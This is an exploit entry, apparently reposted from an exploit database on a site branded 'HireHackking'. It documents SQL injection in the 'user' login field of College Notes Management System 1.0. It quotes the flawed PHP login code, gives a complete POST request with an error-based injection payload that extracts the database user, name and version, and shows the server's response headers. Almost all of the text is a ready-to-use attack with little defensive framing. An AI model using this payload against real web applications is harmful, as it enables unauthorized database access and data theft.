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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: College Notes Management System 1.0 - 'user' SQL Injection
# Dork: N/A
# Date: 2018-10-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://anirbandutta.ml/
# Software Link: https://sourceforge.net/projects/college-notes-management/
# Software Link: https://github.com/anirbandutta9/College-Notes-Gallery
# git clone https://git.code.sf.net/p/college-notes-management/code college-notes-management-code
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://192.168.1.27/[PATH]/login.php
# login.php
# ......
# if (isset($_POST['login'])) {
#   $username  = $_POST['user'];
#   $password = $_POST['pass'];
#   mysqli_real_escape_string($conn, $username);
#   mysqli_real_escape_string($conn, $password);
# $query = "SELECT * FROM users WHERE username = '$username'";
# $result = mysqli_query($conn , $query) or die (mysqli_error($conn));
# if (mysqli_num_rows($result) > 0) {
#   while ($row = mysqli_fetch_array($result)) {
#     $id = $row['id'];
#     $user = $row['username'];
#     $pass = $row['password'];
#     $name = $row['name'];
# ......

POST /[PATH]/login.php HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 240
user='%20aND%20(SeleCT%207804%20FroM(SeleCT%20COUNT(*),ConCaT((SeleCT%20(ELT(7804=7804,1))),ConCaT_WS(0x203a20,usER(),DaTaBaSE(),VERSIon()),FloOR(RaND(0)*2))x%20FroM%20INFORMaTIon_SCHEMa.PLugINS%20GroUP%20BY%20x)a)--%20Efe&pass=&login=login
HTTP/1.1 200 OK
Date: Sat, 15 Oct 2018 00:51:03 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=b6mgibtddijtde10ti6umf9kc5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1843
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8